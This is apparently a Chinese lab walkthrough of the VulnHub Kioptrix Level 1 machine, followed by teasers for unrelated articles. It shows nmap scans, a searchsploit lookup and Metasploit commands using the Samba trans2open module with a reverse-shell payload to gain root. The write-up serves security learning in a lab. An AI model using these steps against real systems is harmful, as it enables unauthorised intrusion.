Kioptrix Level 1 打靶记录

Kioptrix Level 1 打靶记录

发布时间：2026/6/30 5:18:21

Kioptrix Level 1 打靶记录
1. 靶机信息靶机名称Kioptrix Level 1下载来源VulnHub目标拿到 root 权限2. 环境准备攻击机Kali LinuxIP192.168.1.239靶机Kioptrix Level 1IP192.168.1.104网络模式NAT3. 信息收集用nmap -sn扫描内网存活主机找到靶机的 IP 地址nmap -sn 192.168.1.0/243.2 端口扫描用nmap -sV扫描靶机开放的端口和服务nmap -sV 192.168.1.104图一信息收集端口扫描结果扫描结果端口 服务 版本22/tcp SSH OpenSSH 4.7p180/tcp HTTP Apache httpd 2.2.8139/tcp SMB Samba 2.2.8重点关注139/tcp 运行的是 Samba 2.2.8这个版本存在已知漏洞。4. 漏洞发现用 searchsploit 搜索 Samba 2.2.8 的已知漏洞searchsploit samba 2.2.8图二searchsploit漏洞扫描结果找到对应漏洞trans2open multiple/remote/10.c 远程缓冲区溢出可直接拿 root确认漏洞Samba 2.2.8 存在 trans2open 远程缓冲区溢出漏洞可以利用 10.c 直接拿到 root 权限。5. 漏洞利用5.1 启动metasploitmsfconsole图三启动metasploit截图5.2 选择漏洞模块use exploit/linux/samba/trans2open5.3 配置参数set RHOST 192.168.1.104 set LHOST 192.168.1.239 set PAYLOAD linux/x86/shell_reverse_tcp图四执行参数后结果5.4 执行攻击exploit6. 结果确认执行攻击后直接拿到了 root 权限whoami # rootid # uid0(root) gid0(root) groups99(nobody)图五攻击成功后反馈免责声明本文所有操作均在 VulnHub 靶机环境中完成仅用于网络安全学习与研究。

相关新闻

WinLicense 3.1.3.0 深度解析：从软件保护到许可管理的实战指南

WinLicense 3.1.3.0 深度解析：从软件保护到许可管理的实战指南

1. WinLicense 3.1.3.0 的核心定位与价值 WinLicense 3.1.3.0 是 Oreans Technologies 推出的一款集软件保护与许可管理于一体的专业工具。对于商业软件开发者来说，它解决了两个关键痛点：如何防止代码被逆向工程破解，以及如何灵活控制软件的试…

2026/6/30 5:18:21阅读更多 →
3年以下产品经理需求暴跌42%，但高薪AI岗却激增369%！你还在等什么？

3年以下产品经理需求暴跌42%，但高薪AI岗却激增369%！你还在等什么？

“3年以下经验的产品经理，招聘需求下滑42%。” 看到这个数字，你可能会有点坐不住。不是慢慢变少，而是腰斩式的往下掉。 你现在打开招聘软件试试搜“产品经理”，翻半天可能都找不到几个真的在招的。那些还挂着的，点进去…

2026/6/30 5:13:21阅读更多 →
MySQL 查询优化实战记录

MySQL 查询优化实战记录

MySQL查询优化实战记录：提升性能的关键策略 在数据库应用中，查询性能直接影响用户体验和系统效率。本文基于实际项目经验，分享MySQL查询优化的实战技巧，帮助开发者解决慢查询、高负载等问题，提升数据库响应速度。 索…

2026/6/30 5:13:21阅读更多 →
AI搜索优化价格乱象解析：千元套餐与万元服务的技术差距与行业避坑指南

AI搜索优化价格乱象解析：千元套餐与万元服务的技术差距与行业避坑指南

AI搜索优化价格乱象解析：千元套餐与万元服务的技术差距与行业避坑指南随着大模型技术普及，基于AI大模型的智能搜索优化、品牌GEO优化已成为中小企业数字化获客的重要赛道。当前国内AI优化服务市场价格体系极度混乱，月度千元级低价套餐与年度数…

2026/6/30 11:44:26阅读更多 →
用SpringBoot快速搭建RESTfulAPI的五个步骤

用SpringBoot快速搭建RESTfulAPI的五个步骤

也许你听过无数人在谈论SpringBoot，说它是Java生态里最“无痛”的框架，能让你从繁琐的配置地狱里瞬间解脱。这话一点也不夸张。当你真正开始用SpringBoot搭建一个RESTful API时，你会惊奇地发现，这不仅仅是代码的堆砌，更…

2026/6/30 11:44:26阅读更多 →
SMUDebugTool：掌握AMD Ryzen处理器底层调试的终极指南

SMUDebugTool：掌握AMD Ryzen处理器底层调试的终极指南

SMUDebugTool：掌握AMD Ryzen处理器底层调试的终极指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https://gi…

2026/6/30 11:44:26阅读更多 →
3分钟掌握视频PPT提取：让视频中的演示文稿一键变PDF

3分钟掌握视频PPT提取：让视频中的演示文稿一键变PDF

3分钟掌握视频PPT提取：让视频中的演示文稿一键变PDF 【免费下载链接】extract-video-ppt extract the ppt in the video 项目地址: https://gitcode.com/gh_mirrors/ex/extract-video-ppt 你是否经常需要从教学视频、会议录像或在线课程中提取PPT内容&#x…

2026/6/30 11:44:26阅读更多 →
【技术解析】clDice：如何用拓扑感知损失函数重塑管状结构分割的“骨架”

【技术解析】clDice：如何用拓扑感知损失函数重塑管状结构分割的“骨架”

1. 管状结构分割的痛点与拓扑保持需求 血管、道路、神经元这些管状结构的分割，一直是计算机视觉领域的硬骨头。想象一下医生盯着CT图像里的血管网络做诊断，如果算法把一根连续血管分割成几段"香肠"，或者给道路提取结果添上几根&quo…

2026/6/30 11:44:26阅读更多 →
“一鼓转三弯，一砖撑到底”冠珠瓷砖携手东胜东队再战叠滘龙船漂移大赛

“一鼓转三弯，一砖撑到底”冠珠瓷砖携手东胜东队再战叠滘龙船漂移大赛

龙舟竞渡，冠珠“撑”场。6月19日，农历端午，2026年叠滘龙船漂移大赛开桨。东胜赛区S弯河段，观者如潮声浪如沸，鼓声与呐喊交织，卷过水乡的每一处屋檐。作为大赛金牌合作伙伴，冠珠瓷砖再度携手东胜…

2026/6/30 11:39:26阅读更多 →
AI Coding 六个月真实ROI账本：产品经理的血泪教训，研发的冷静忠告

AI Coding 六个月真实ROI账本：产品经理的血泪教训，研发的冷静忠告

6个月前的2025年12月，Boris Cherny 公开宣布自己卸载了 IDE。一时间，Vibe Coding 成了全行业最热的话题。6个月后，当我们回过头来拉一份真实账本，发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/30 4:03:30阅读更多 →
审计来了，数据权限全开——审计走了，怎么确保权限全部关掉？

审计来了，数据权限全开——审计走了，怎么确保权限全部关掉？

引言：审计结束三个月了，审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间，内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中，审计…

2026/6/30 4:36:27阅读更多 →
为什么你需要Destiny 2 Solo Enabler：技术原理与实战指南

为什么你需要Destiny 2 Solo Enabler：技术原理与实战指南

为什么你需要Destiny 2 Solo Enabler：技术原理与实战指南 【免费下载链接】Destiny-2-Solo-Enabler Repo containing the C# and XAML code for the D2SE program. Included is also the dependency for the program, and image asset. 项目地址: https://gitcode…

2026/6/30 0:02:58阅读更多 →
第六章：PowerPoint 2010 核心功能与实战应用 —— 从入门到精通

第六章：PowerPoint 2010 核心功能与实战应用 —— 从入门到精通

1. PowerPoint 2010基础操作全攻略 刚接触PowerPoint 2010时，很多人会被它复杂的界面吓到。其实只要掌握几个核心区域，就能快速上手。我最开始用PPT时，经常找不到功能按钮在哪，后来发现主要操作都集中在顶部功能区。 工作窗口主要…

2026/6/30 0:02:58阅读更多 →
XGBoost超参数实战：从理论到调优策略

XGBoost超参数实战：从理论到调优策略

1. XGBoost超参数基础认知 第一次接触XGBoost时，我被它那密密麻麻的参数列表吓到了。这感觉就像面对一架波音747的驾驶舱——每个按钮都可能有神奇的效果，但按错了就可能坠机。经过多年实战，我发现其实掌握十几个核心参数就能解决90%的问题。…

2026/6/30 0:02:59阅读更多 →